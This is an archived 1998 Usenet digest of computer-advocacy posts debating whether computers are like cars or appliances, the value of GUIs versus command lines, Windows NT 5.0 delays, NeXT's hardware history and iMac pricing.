References: <6t1pv4$mr8$1@bunyip.cc.uq.edu.au> <35fa4488.11961504@news.supernews.com> <6tgmn9$jmh$1@bunyip.cc.uq.edu.au> <35FBAA84.F5B8CE84@inficad.com> <6th4k8$2o$1@bunyip.cc.uq.edu.au> <35fd738b.2127351@news.supernews.com> <mteh-ya02408000R1309982156530001@news.earthlink.net> <35fda148.4397068@news.supernews.com> <mteh-ya02408000R1409981924070001@news.earthlink.net> <360533c8.27512398@news.supernews.com> <mteh-ya02408000R1709982359020001@news.earthlink.net>
Mime-Version: 1.0
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mteh@earthlink.net (Oliver M. Sun), on Thu, 17 Sep 1998 23:59:02
-0500,
>In article <360533c8.27512398@news.supernews.com>, mdevlin@eltrax.com (T.
>Max Devlin) wrote:
>
>>You seem to make my point. All of these things are immensely
>>complex. That many of them are based on simple rules of physics
>>which we learned before we were three (things like "accelerate" and
>>"smoke" and "pedal") illustrates the fact that cars are not
>>computers. With a computer, it requires additional learning outside
>>normal reality (that is, learning specifically how computers work)
>>in order to use one. The basic premise you are supporting is that
>>computers should be (or are) as "simple" as cars. That you "just
>>get in and drive; you don't have to be a mechanic". But with a
>>computer, you can't even necessarily tell if the damn thing is
>>moving, let alone whether you're headed forward or back, or if the
>>headlights are on, or who's sitting where.
>
> That's why graphical user interfaces were invented -- because most
>people have some idea of what sorts of things go on around desktops, how
>roll-down windowshades behave, or what you do when you toss things in the
>trash. The mouse was invented to provide a translation for the simple
>concept of pointing to objects in the real world. Your steering wheel is
>an interface as well, which translates the ideas of "left" and "right" to
>the motion of your car.
Yes. A very good point, and I one I completely disagree with. :-)
(Actually, I have to point out that I am quite enjoying our
exchange, and think it is the best conversation I have had on the
subject, ever. Perhaps it's just because there's nothing in your
tone that screams to me "argumentative"; I like your debate style.
I will take advantage of this flash of introspection to apologize to
all I have gotten snippy with on this and other subjects on these
groups.)
Exploring this very concept, it occurs to me that the power of the
GUI is exactly as you present; providing a sense of "spacial
awareness" to help the user who doesn't understand at all what a
computer is and how it works. But that also supports my point.
This "spacial awareness" is a fabrication, and in many ways doesn't
truly represent the way the computer works. It can't, because it is
the computer representing it, and so it follows the rules of the
program, rather than the rules of programming, ie. the computer.
People who learn computers with GUIs tend to *believe* they are
having an easier time executing various operations. In fact, they
are simply more comfortable. They are hesitantly stumbling along,
slowly learning how the computer *really* works, only easily able to
follow a very limited set of by-rote procedures, and being
productive only so long as those procedures work verbatim.
Eventually, they begin to actually understand the computer, and
become capable of operating it in the flexible, empowering style for
which it was invented.
The beauty of it is, this is EXACTLY the process that people went
through before GUIs, and still do when learning any computer, be it
keyboard or mouse interfaced, and regardless of the particular
operating system and its unique characteristics.
Modern computers have advanced immeasurably in allowing that
critical level of operation to progress from being "programming" to
something lesser, maybe "configuration". But the real empowerment
comes from programming, and that is recognized by anyone who truly
understands computers. Modern "COTS brainwashing" tends to obscure
this point, but does not erase it. Until the last few years (and
on-topic for adm, I'll point out that I believe this is an
unrecognized effect of the MS monopoly) it was widely understood
that the power of the PC was to make programming so easy that the
end-user could do it. Now it seems that people believe that the
idea is to make it unnecessary (and, in fact, less possible) for the
end user to understand the computer enough even to tell it what
operations to perform. Easier, simpler (and far far more
inefficient) to have the god-like "Great Programmers in Redmond" (or
wherever, really, because this is a generic problem, not caused, but
certainly taken advantage of, by MS) make "smart features" that make
the PC *magic*. Save the hassle of understanding the computer, you
see, and being able to tell it what to do. For the producers, who
charge gargantuan amounts for infinitely reproducible and quite
unmagical, even ineffective, code, it takes much much less
programming (the only expense, practically, so one would think it is
the major expense) to make a couple "smart" features, no matter how
bloating and useless for the statistical majority, then to make it
so the user can program the operations he needs, to make the smart
features that are expedient for THE USER, rather than the software
company. The argument could be made that it is entirely TOO
difficult, too expensive in programming terms, to make a completely
automatable (by the end-user, not a VAR, consultant, or
"programmer") application, and that MS could not be expected to be
able to tackle and fund an attempt at such a thing. Particularly if
they are supposed to entirely replace their "smart" features with,
essentially, "smart" users, the demands of business could be used to
justify the intentional abandoning of this goal in favor of a
network of "certified experts" who could make the system do what you
want, for an additional price.
And then one might look at the capital potential of MS, and even
Bill Gates personal fortune (please, no sub-threads on real wealth
and paper liquidation), and one might realize that somebody didn't
drop the ball, they hid it. They might have even punched a hole in
it, to make it easier to stash the promise of end-user
programmability.
But I'm straying far afield, and rambling. We started with the GUI,
and understanding the computer. Did I mention I designed and built
an office workflow and production system for my training business
using Microsoft products in the early 90s? Mostly Word 1 & 2 and
Excel 5-. I couldn't keep up with MS's churn rate and couldn't
maintain it through Word 6, Word95, and on into Office97. I really
could use some of that, too.
Moving objects around on a desktop is not operating a computer, it
is not "the problem", it is not an empowering tool. People are
smart; computers follow their program. The GUI is an interface, and
is a very useful representation of multitasking and control
operations. But it's just an interface, and it doesn't replace
understanding the computer. In some regards, it gets in the way,
and should be optional in all cases. Because once you "know" the
procedure you are performing, the keyboard is invariably the fastest
interface for arbitrary operations, and the lack of GUI is
invariably the highest performance processing model.
The whole "the GUI lets you use a computer without understanding it"
is silly. Yes, you are right that the mouse is a steering wheel.
But the desktop isn't the road in front of you; the computer is.
And that, by definition, is what is *underneath* the GUI. Because
it's in your brain. You are supposed to program it. I can
sympathize with not wanting to have to learn how. I've been so far
very successful in doing just that.
But "using a PC" is not about how the steering wheel works, or the
engine under the hood, or the gas pedal. A computer is not a car.
The road in front of you *is* the engine, *and* the gas pedal,
because a computer is not a car.
>>The basic premise is flawed. I have refuted it[...]
> You haven't really "refuted" anything, just outlined the equivalent
>roles in your mind with computers and cars -- software programmers and auto
>mechanics seem similar to you.
You misread my statement. I do not believe software programmers and
auto mechanics are similar to you. I drew a comparison of those as
"equivalent levels of expertise" because you seem to insist that
auto mechanicery is equivalent to understanding RAM and hard drives,
how much space you have on each and what it means, and generally
being smarter than the computer in terms of what is going on with
the system, (because your brain is all you've got; computers are not
telepathic, or magic).
I am, it seems, insisting that the whole "ease of use" thing is a
Big Lie, but I'm really not going to that extreme. Right now.
In this discussion, the basic premise, in my opinion, is (I guess
I'll have to change the subject now, because this is either a
meta-discussion or a whole different thread than "How Fast is Little
iMac?") one statement, and even the exchange I had with Christopher
Smith that started this threadlet.
This discussion will end if you will say, without any qualifications
WHATSOEVER:
A computer is not a like a car.
That's it. No quibbling. That simple.
GUIs are fine. But a computer is not like a car.
> However, you haven't really explained why
>it isn't just as valid to describe an "automotive design engineer" as the
>counterpart to a hardware or software engineer.
Correct. Nor can I. That's the point. I cannot, you cannot, no
one cannot, describe an automotive design engineer, nor a
pot-scrubber, as the counterpart to a hardware or software engineer,
or a ditch-digger. And a computer is not like a car.
> The typical car owner, as you have stated, knows how to operate the user
>interface for a car -- driving the car, and performing simple maintenance
>through provided utilities such as the oil dipstick, assorted status lights
>and gauges, etc. An auto mechanic might be the equivalent to a
>pay-by-the-hour tech support guy who can diagnose problems and replace
>broken parts.
Do you actually have one of these? I mean **REALLY**.
Give me his FUCKING number! Can I afford him? Cuz I ////WANT/// a
"pay-by-the-hour tech support guy who can diagnose"....
Oh. You said replace broken parts. Well hell, there's LOT's of
them. Too bad that isn't usually why the goddamn computer doesn't
work! Raise your hand if the last problem you had with a computer
was because of failed hardware. I mean, really.
> I don't think the typical mechanic could design a new
>camshaft for your car, so why would the software engineer (who designs and
>manufactures completely new components for your computer system) be the
>same as a mechanic.
Because the guts of the computer is the software, not the hardware.
But it's how the software actually WORKS, not the application
interface, that is the computer. It works on hardware. Knowledge
and skill with the operations, applications, operating system,
storage, processing, configuration, and even *programming* of the
computer is essential to making it work for you correctly. It's an
information processing extension. That means you have to learn how
it processes information, and change it to the way you process
information, in order to make it useful. The human learns the
computer, the computer doesn't learn the human.
And, yes, you have to understand how the engine works to get out of
the driveway, because a computer is not a car.
> An "expert" driver would be someone who operates the car with a greater
>level of skill than the average driver. Calling someone a "car expert"
>seems to imply a greater amount of technical knowledge, just as a "computer
>expert" implies -- guess what -- similar expertise.
Exactly. But a computer expert ISN'T similar expertise, it ISN'T
technical knowledge on the order of the car expert. It's knowing
how to drive fast; it's realizing where the streets are. Being a
skilled driver is what understanding a computer is. More people
understand how computers work than you might think. The typical
person is still "ignorant", but understands enough, it seems.
But that would be true, at this point, even if everyone were still
using DOS or *ANY* other interface, GUI, windowed menus, or
keyboard. Yes, the GUI was there, and might have been greatly
responsible for the explosion of PCs in the last ten years. But I
was there, teaching people to use PCs the whole time, and I think
the increase in configurability, the development of more technical
underlying details, and not the "now people understand hard drives
because they've got a little picture" GUI that made computers
usable. And people LEARNED them!!!!!
That's the crux of the argument. It's ironic, I think, that the end
of this debate will come when everyone has forgotten what it is like
not to understand computers. I truly believe that the only reason
these horrible horrible comparisons keep coming up (typically as a
defense of a monopoly, on-topic again for adm, and one of the
reasons I ramble on with the subject) is cantankerousness on some
passive-aggressive Usenet subscriber's part. Yes, CLIs are better
than GUIs, until you get the GUI as good as the CLI, which will be a
good thing, but won't change the way the computer works. And the
CLI will still be quicker, until you get the GUI as quick, which
will be good, but doesn't counter the laws of physics. There's no
magic in the damn boxes, and you've gotta UNDERSTAND how the
computer works. In fact, since using a computer is almost entirely
a mental exercise. For you. It is a wonder of physics on the
universe's part, and does constitute the only objective reality,
specifically in terms of the myth of "productivity" for anything but
single-task repetitive data-entry operations. But it involves a
very complex (and demands an interchangeable and quite flexible) set
of component programs. Notably, operating systems, applications,
system utilities, games, and most importantly communications
software and networking.
So, yes, an expert driver is the equivalent of Linus Torvald.
I leave proper consideration of accurate, consistent, and practical
equivalents for Bill Gates in this analogy to the imagination of the
reader.
>>But the alternate view is that computers are "appliances", rather
>>than cars. This view is equally as flawed. A computer is not a
>>car. A computer is not an appliance. A computer is a computer.
>
> A toaster is not an appliance? A toaster is a toaster?
Where did you see "a toaster is not an appliance"? It's not in this
quote. If you believe I said that, I would expect it was a mistake.
I may have said "a toaster is a toaster", probably in immediate
context with "a computer is not an appliance". I guess I might have
said "toaster" instead of "computer"?
> What's your definition for an "appliance"?
>
>Merriam-Webster's Collegiate Dictionary/Thesaurus
>
>ap€pli€ance \e-"pl-en(t)s\ noun (1561)
>1 : an act of applying
>2 a : a piece of equipment for adapting a tool or machine to a special
>purpose : attachment
>b : an instrument or device designed for a particular use; specif : a
>household or office device (as a stove, fan, or refrigerator) operated by
>gas or electric current
Yup. That's the one a computer's not. No particular purpose, other
than to be whatever information of communications appliance I might
want at any particular moment (and usually, of course, many at one
time). The idea of "a piece of equipment for adapting a tool"
sounds like an archaic root of the term "application" as used today.
What year was this collegiate dictionary? I honestly think it would
be extremely useful to think of what we call as *applications* today
"appliances". It would match the definition above exactly.
>c Brit : fire engine
>3 obs : compliance syn see implement
>
>appliance noun
>syn USE 1, application, employment, operation, play, usance
Yes. Operation is particularly appropriate. Many many many
DIFFERENT operations, and that's why a computer is not and will
never be an appliance.
>>It's not a VCR; it will never be a VCR. Now, you may some day have
>>an "appliance" that does word processing
[...]
>>>So, essentially, computers are similar in concept to many other complex tools.
>>
>>There are no other complex tools like computers. All other tools
>>are less complex, because they are physical tools. The computer is
>>a processing engine; a mental tool. You have to know how to use
>>your mental, and that means understanding, and that means knowing
>>how the computer works, or you can't use the computer. Calling a
>>computer a tool is like calling a planet a blob of dirt.
>
> That's the dumbest thing I've ever heard. What is a computer then, your
>friend or your mother?
Either one. Usually neither. Secretary, car, elevator,
amphetamine, daytimer, mailbox, mailman, highway system, toll booth,
airplane, pilot, autopilot, navigator, map, stairs, vault, drawer,
phone, engine, gravity, and amusement park. Mostly all at the same
time.
> All other tools are less complex? What about, say, symbolic logic?
>Maybe a violin? I think you're making a pretty large judgement call here.
Symbolic logic and violin are both possible subsets of computer. If
I know either, I can use a computer to do them. The myth is that if
I don't know either, I can use a computer to do them. The human
learns, the computer executes that learning. A computer is not an
appliance, and a computer is not a car. A computer is not LIKE an
appliance, and a computer is not LIKE a car.
>>Please forgive me for saying so, but I do know. I have
>>professionally studied how people learn and use computers for over a
>>decade.[blah blah blah]
> Glad you're being skeptical (a good thing). But in this case, I think
>you're blowing the problem out of proportion. I see that the intended
>purpose of a "computer device" doesn't seem as clear as that of a VCR or a
>washing machine. But if you take a different approach: an "information
>appliance" is something which you use to access, process, and store
>information in general, then a computer is just a particularly advanced
>version.
An advanced version of WHAT? This is again why it seems like I'm
blowing it out of proportion. I actually don't do so, and never
insist it is a hugely grievous problem in a reactionary way. What I
do is correct people, sometimes insistently, when they try to use
computer/car and computer/appliance analogies to defend software
developers when they profiteer on fantasies of magic.
> It isn't as if you are born knowing how to use an espresso
>machine properly,[...]
The basic mechanics, involving how to use levers and deal with
gravity, I got in the first few months. The muscular control took a
couple years longer.
>and it's more complicated than a moka pot, but it fits
>the same general category of use.
Every different espresso machine, or any other machine, ever thought
of, and any more to come, is the computer. Fact is, you're going to
have to go past the interface. The joke is, whether you do or
don't, your kids will, and their kids will not understand what it
means to not program a computer. If we can get the money from the
market into the right development. Which means trying absolutely
everything all at once, and letting competition provide everyone
with alternatives. Just because everyone only needs one, doesn't
mean one is all everyone needs.
>>So the problem, I guess, is that most people THINK they know how to
>>drive. Actually, they're just getting in a taxi.
>
> Not sure I follow. Are you meaning that a modern computer UI is like a
>car which attempts to drive (badly) _for_ the owner?
Yea, I guess so. Very well put, thanks. :-)
>>>Yup, just because I know how to plug in my Mac, I forgot how to do all
>>>those other things.
>>
>>I don't understand your response.
>
> It was meant facetiously in response to your questions.
Yes, I knew that. I still didn't understand it. :-)
>>Are you saying you don't know how to do any of those things?
>>
>>Then you're sitting on a train, you're not even on a bus, let alone
>>in a taxi. You couldn't get out of the garage if the slightest
>>thing goes wrong (like a window doesn't appear, you want to change a
>>setting, or you need to save a file). You must have someone doing
>>it for you.
>
> Don't be silly. I've programmed software, maintained my Mac, driven my
>car and done mechanical work on it as well, used e-mail, and various other
>rather common things on both cars and computers. That's why I feel I have
>a good perspective on these two things.
That's why I feel you don't. I don't do my own mechanic work, and I
don't expect to have to do that equivalent with my PC. Nobody else
does either, except people who do. I've watched lots of different
people, including those who do their own mechanical work, learn
computers, learning both "to drive" and "to repair" and "to build"
and "to build roads for" and "to learn how to increase the thickness
of the glass on the windows" and "to program software".
Remember that workflow system I built? That, to me, was learning
the streets to the business offices I had to work with. I knew the
way, and Microsoft ripped the roads up and changed where the
buildings were. Several times.
Computers are not like cars. Because if they were, we'd all be
highway ketchup.
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Message-ID: <jpolaski-2109982032190001@d150-184.ce.mediaone.net>
References: <6u6fpo$jq3@newsb.netnews.att.com>
Organization: Polaski P/D/C, 15 West Hubbard, Chicago,IL 60610
Date: Mon, 21 Sep 1998 20:32:18 -0600
NNTP-Posting-Date: Mon, 21 Sep 1998 20:32:55 CDT
In article <6u6fpo$jq3@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> ZDNet reports that Microsoft may deliver NT 5.0 beta 3 by
> Thanksgiving and NT 5.0 final delivery 12-15 weeks after
> that -- Q1-Q2 1999. This flies in the face of analysts'
> predictions of late 1999 to year 2000 delivery.
>
> http://www.zdnet.com/zdnn/stories/zdnn_smgraph_display/0,4436,2139533,00.html
>
> -arun gupta
=======
How can anything fly in the face of M$ delivery of NT 5?
They're already way late and M$ can't seem to resist finding "features
users want" to impliment and the code base keeps growing and growing up to
the current rumored near 50 million lines...
Now even with M$ vast resources, there is a question as to if even they
can *effectively* de-bug that amount of code. Considering that Win 95 had,
by M$ admission 3000 + bugs, and given what we've seen with NT 4 with all
its service packs and fixes for security, not to mention the warship
thingy, what makes anyone think that NT 5 will be better?
The answer is that many Is MGR's are already saying they will not migrate
to NT 5 upon its release and will wait for some time beyond the first
service pack. And migrating costs buckets of money not only for purchase
of the OS, but installation fixing application incompatibiliites,e tc., as
any seriously underestimated misstep, can hobble a lare user and throw
then in serious trouble until it is fixed. And it doesn't take much to do
that either. Again, consider the warship. It was down for days, regardless
of the problem...days, and how many mission-critical uses can withstand
that kind of a loss? Suppose it was your power company, or the hospital.
The bottom line is that M$ is getting itself stretched, even with its
resources, legal and otherwise. How much can even they support? Where is
the point of distraction?
So, do we really think NT 5 will be on time? Probably not.
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
...the measure of a man is what he will do for another man,
knowing he will get nothing in return.
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Message-ID: <jpolaski-2109982033530001@d150-184.ce.mediaone.net>
References: <6u6fpo$jq3@newsb.netnews.att.com>
Organization: Polaski P/D/C, 15 West Hubbard, Chicago,IL 60610
Date: Mon, 21 Sep 1998 20:33:53 -0600
NNTP-Posting-Date: Mon, 21 Sep 1998 20:34:29 CDT
In article <6u6fpo$jq3@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> ZDNet reports that Microsoft may deliver NT 5.0 beta 3 by
> Thanksgiving and NT 5.0 final delivery 12-15 weeks after
> that -- Q1-Q2 1999. This flies in the face of analysts'
> predictions of late 1999 to year 2000 delivery.
>
> http://www.zdnet.com/zdnn/stories/zdnn_smgraph_display/0,4436,2139533,00.html
>
> -arun gupta
=======
OOps..forgot that in todays INfoworld, there was a comment by an IS type
saying he didn't want NT 4.5 either as all that did was raise costs since
he then had to do another installation/migration etc...instead he'd rather
just wait, ....patiently.
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
...the measure of a man is what he will do for another man,
knowing he will get nothing in return.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
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Control: cancel <6u62u5$if$3516@artemis.backbone.ou.edu>
Date: 22 Sep 1998 01:53:24 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: <myemail@any.where.com>
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From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
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References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu>
<6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk>
<6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com>
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<6tnnv7$3sj$1@msunews.cl.msu.edu> <6tonmp$hhn$1@news.spacelab.net>
<6tpffs$2fc$3@msunews.cl.msu.edu> <6tpjf0$18r$3@news.xmission.com>
<1dfjnm0.11ahe4i1xxlnpsN@h209-21-28-6.ncal.verio.net> <6u0401$mim$1@ironhorse.plsys.co.uk>
<6u10iu$gb4$4@msunews.cl.msu.edu> <gQZM1.7244$MS.17924323@news.rdc1.sdca.home.com>
<6u5a5m$8s6$3@msunews.cl.msu.edu>
Message-ID: <sGwN1.7409$MS.18797258@news.rdc1.sdca.home.com>
Date: Mon, 21 Sep 1998 18:12:40 GMT
NNTP-Posting-Date: Mon, 21 Sep 1998 11:12:40 PDT
Organization: @Home Network
In <6u5a5m$8s6$3@msunews.cl.msu.edu> spammers@ruin.the.internet.channelu.com
wrote:
> In <gQZM1.7244$MS.17924323@news.rdc1.sdca.home.com> rr6013@yahoo.com
wrote:
> > In <6u10iu$gb4$4@msunews.cl.msu.edu>
spammers@ruin.the.internet.channelu.com
> > wrote:
> > > BTW: Based on discussions with Moose I'm rather sure NeXT would have
> > > sold over a million of the NRW's from 93-96 - probably more..
> > >
> > > Just too bad I guess.
> > >
> > >
> >
> > Whoa... when NRW was about to release there was no such demand. NeXT
had
> > sold 50,000+ NeXTstations commercially and three letter gov't agencies
had
> > stopped their consumption of black hardware. NeXT lost the Soloman (I
> > think) account in NY... then NeXT announced they would kill hardware.
It
> > was all over...
> >
> > If Moose is so sure they had 1mil NRW's sold, SJ would not have
shuttered
> > the factory. Moose's memory is more vivid than accurate in this
instance.
> > No offense to Moose, since Moose sounds like a name for a Big Fella :-)
> >
>
> Tell me something. You have a dual processor box that is nearly
completely
> different than the previous hardware. How can you even judge based on
> the other machines sales whether the new one will do well.
>
> Ultimately the question would have been price. I mean if they had priced
> it @ $100K the NRW surely would have failed. If they could have priced
> it in the 4-6K range based on hindsight and my discussions with Moose
> I again state that many, many more than 50K units would have been sold.
>
You aren't stating anything again... you said over a million NRW. Now
you're stating more than 50K units of NRW. BIG difference and none of you
logic in getting _there_ is remotely valid.
> Thing is I know NeXT was heavily in debt, but the NRW was pretty darn
> close. There was a crapload of software out for NeXT - not everything -
> but alot. Even though NeXT had lost some big accounts the universities
> would have eaten up the dual - and would have been happy to put
> 4 dual boards into a Cube to have a 8 cpu box, etc.
>
Wrong... NeXT had maybe 2-3 Universities with NeXT's as part of their
Curriculum. I was at Columbia where a whole lab of NeXT's was nothing more
than X clients. Columbia put it best.... "there is no market for NeXT ± we
have to train people on what they will _need_ when they leave here". By
1992, NeXT in universities met the solid wall of marketplace acceptance.
The marketplace could've caredless about 8 CPU's in some proprietary box.
Intel boxes were driving price into the marketplace and winning on
performance. SteveJobs later admitted he underestimated how capable the
Intel marketplace was delivering what NeXTSTEP demanded out of the hardware.
But as we know they never equalled NeXT video systems or quality.
> Education was eating up NeXT pretty good - and would have continued.
> Had NeXT came out with the NRW I wouldn't have been suprised if
> the 3 letter and other clients might have come back.
>
> If you were so in touch with what they were doing care to give a clue
> what they were replacing those boxes with?
At Columbia, they built a Sun lab.
> I mean the 3 letter guys
> were the ones to insist on support for 5 years - tell me they wern't using
> the boxes.
3 Letter NeXT customers, I have no information other than the fact that the
DSP in the stations could up-link with satellites cheaply. I sold my first
station for that specific purpose to a 3 letter org. But even before 1992,
the rumor was NeXT couldn't depend on 3 letter business.
> I would also suspect that the 3 letter and big companies
> got wind of NeXT dropping hardware way before it happened, or
> were facing the fact that NeXT wasn't taking off like everyone wanted.
>
No on the advance notice "way before". The announcement hit everybody at
about the same time. Though it is possible Swiss Bank, Soloman,
MorganStanley et.al. were warned I doubt that they received a complimentary
phone call way in advance. The people working on these mission critical
projects had "no knowledge" prior to the announcement. It really was a
bomb...
In NewYork on the street where NeXT put its greatest effort, the ability of
NeXT to rev its libraries with the functionality they demanded was one
indicator. NeXT sold them on writing only to the NeXT API and _not_ custom
developing their own widgets. The rationale was that rather than have
proprietary API's to a spreadsheet interface, let NeXT write that into the
appKit. When they upgraded the new functionality would come "free". NeXT
only had so many resources and some of the functionality was privately
funded to 1st Priority status.
Outside NewYork the pool of Obj-C talent was thin to non-existent.
Companies wanted to hire off-the-street. They didn't want to pay the
$70-90K for a Obj-C guru which was their only option outside of NeXT
Mentoring.
> Gee you think 4-15K was just a little too high for the common folk
> to pay for a computer (espeically students). It all came down to
> price - and marketing. Though at that time Intel/MS was taking
> off like mad because of various monopolistic practices. I'm rather
> sure SMP PPC boxes would have sold very well at the 2K/cpu
> range. Think about it a dual 601 PPC doing SMP in 93?
Most of the NeXT early adopters were tapped out $$$$$ wise. They were small
developers or individual "techies". I'm not even sure there was some
pent-up demand for SMP in any industry. Remember we didn't have Internet
servers driving SMP like now, we only had client-server and 10baseT.
> People
> who had NeXTStep were waiting with baited breath for hardware
> upgrades or new boxes the NRW would have saited them.
> I know I was there everyone was drooling over the rumors on
> that box. At least in education they were ready to put down
> solid money for new boxes - and at that time they had it too.
>
>
That was NeXT's ultimate downfall. They could only attract a "cult" who
would spend individual fortunes for a "status" box. NeXT couldn't grow out
of the 'guru' syndrome. The guru's held the Obj-C knowledge. The fewer
there were, the higher their consulting fees rose. NeXT couldn't "convert"
C++ programmers, they couldn't university "train" Obj-C programmers and they
couldn't "mentor" the O-O paradigm fast enough.
Even the good Obj-C houses consulting in the market were consumed by their
clients as SystemHouse was bought by MCI after they did Friends&Family for
them on NeXT's. F&F made MCI in the longlines but it didn't do a damn thing
for NeXT. Solomon made trading-millions in the oil markets with NeXT MCCS.
But by 1991, that oil market was dried up. The list goes on of NeXT success
stories... and there are equal lists of failures you don't hear about.
NeXT's weren't for everybody as many people will attest.
-r
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Re: 48-bit pixels in MacOS 8.5?
Date: 21 Sep 1998 17:27:21 GMT
Organization: Net Squared, Inc.
Message-ID: <01bde584$7a769f00$06387880@chewy>
References: <01bde1aa$5fc3f690$06387880@chewy> <forrestDELETE-THIS!-1609981340590001@term2-29.vta.west.net> <6u2uc9$f7l$1@wbnws01.ne.highway1.com> <6u3qjm$duv@news1.panix.com>
> John, with the exception of some of the Sony Trinitron monitors I've
> used; _none_ of the 15" monitors I've seen are legible and comfortable
> at 1024*768. YMMV, and I'm sure it does. What is the DP of your 15"
> display?
I agree that many monitors would probably not look too good at 1024x768;
however, many can do fine. Even my Dell laptop works fine at 1024x768 (my
default setting).
The question I have is, will the 48x48 bit icon size be *the* standard, or
will there be a choice?
Also, I have only seen mention of the 48x48 icon size in one article. Has
anyone else seen supporting evidence?
Todd
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: A prediction
Message-ID: <edewEznCxB.G37@netcom.com>
Sender: edew@netcom2.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6tsmiu$689@news1.panix.com> <edewEzHuJp.B90@netcom.com> <6u3qjp$duv@news1.panix.com>
Date: Mon, 21 Sep 1998 18:34:22 GMT
In article <6u3qjp$duv@news1.panix.com> sal@panix.com writes:
>
>> I don't think, by keeping the iMac's price at
>>$1299 forces them into a small market. If 100% of the inventory is being
>>bought, you have no evidence that the market for this product isn't anything
>>other than infinite in size.
>
>The $1299 market is smaller than the $999 market.
But there's no evidence of that, since all $1299 iMacs are being sold. Until
you have some machines gathering dust, you have no evidence of the fact that
a $1299 iMac market is smaller than a $999 iMac market. Yes, it sounds
paradoxical, but many companies have realized that lowering prices do not
equate with increased demand, and sometimes, lowering prices actually
suppresses demand.
>
>>>When I have more work then I can do, do I turn people away? Hell no. I
>>>outsource to others, bring them onboard and split the job with them. 20% of
>>>something is better than 100% of nothing.
>>You would if the work asked of you isn't at the rate you desire.
>
>The number of hours I can work per week is a fixed number, irregardless of
>demand. The number of iMacs that can be built and sold is limited only by
>demand and production capacity. In the same way I can hire new people to
>bill hours, Apple can hire new companies to build iMacs.
>
But additional people and additional capital costs are...costs. You want
Apple to make computers at $999. You claimed that costs are fixed, but by
your reckoning, it won't be. So, why decrease revenue (by dropping the
revenue/unit by $300, which is, what, around 23% or so?), increase cost
(by hiring more workers, putting in additional factories, etc.), and have no
solid evidence that the yield is larger market share?
Let's do a simple decision analysis here. Decision: drop prices to $999,
increase production so that gross revenue is constant (i.e., produce more,
hoping that all will be bought so that revenue will match current rate of
units sold X $1299 price tag).
Uncertainties: people will buy $999 machines at just as fervently as they
buy the $1299 machines currently.
Certainties: lower revenue/unit, additional fixed and per-unit cost (due
to more workers) plus intangibles for maintaining price line.
Future prospects: Current revenues minus costs for doing nothing different
from now, or increase/decrease in revenue minus (likely increase in) cost plus
intangible of possibly increasing market size minus intangible of possible
decreasing market size (who knows how the market will react to a drop in
price?).
Throw in some probabilities and run an evaluation. I don't have the time
to do this now, but maybe later this evening...
>I am not suggesting that Apple sell iMacs at a loss, I am suggesting that
>Apple look at way to lower costs per unit and meet the new demand that that
>lower price point. OEMing is (IMHO) the best way to do this.
>
>>>>share, not anything else. Of course, increasing revenue or increasing
>>>>market share MAY result in increased profits, but that has to be demonstrated.
>>>------------------------------------------------------------------^^^^^^^^^^^^
>>I meant, it has to be demonstrated for the present situation, not by looking
>>at historical past.
>
>If you have ample evidence that a past decision has worked, it often is seen
>as precedence that can be repeated.
>
>I have yet to see a company that did not use historical data to predict future
>performance.
>
A management consultant acquaintance tells me that looking at historical data
to predict the future is like steering a car in a curvy road by looking at the
rear view mirror. The proper way to decide is based on good decision analytic
practice.
EDEW
From: nospam@nospam!.kom (Steve)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Tue, 22 Sep 1998 02:47:35 GMT
Organization: The Ohio State University
Message-ID: <36070f78.1005082@nntp.service.ohio-state.edu>
References: <6u6fpo$jq3@newsb.netnews.att.com> <jpolaski-2109982033530001@d150-184.ce.mediaone.net>
On Mon, 21 Sep 1998 20:33:53 -0600, jpolaski@NO.wwa.com (Jim Polaski)
wrote:
>In article <6u6fpo$jq3@newsb.netnews.att.com>,
>gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
>> ZDNet reports that Microsoft may deliver NT 5.0 beta 3 by
>> Thanksgiving and NT 5.0 final delivery 12-15 weeks after
>> that -- Q1-Q2 1999. This flies in the face of analysts'
>> predictions of late 1999 to year 2000 delivery.
>>
>> http://www.zdnet.com/zdnn/stories/zdnn_smgraph_display/0,4436,2139533,00.html
>>
>> -arun gupta
>=======
>
>OOps..forgot that in todays INfoworld, there was a comment by an IS type
>saying he didn't want NT 4.5 either as all that did was raise costs since
>he then had to do another installation/migration etc...instead he'd rather
>just wait, ....patiently.
>
That was simply a rhetorical comment because there is no such thing as
NT 4.5.
-Steve
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: simple question
Date: 21 Sep 1998 19:17:18 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6u68nu$8hm@shelob.afs.com>
References: <6u63v4$k7h$2@cronkite.cs.umd.edu>
Sean Luke writes
> Gregory H. Anderson (Greg_Anderson@afs.com) wrote:
> : the state key has changed from "Shift" to "Option" (Alt). Shift
> : now selects a contiguous range from the last selected item down to the
> : currently selected item.
>
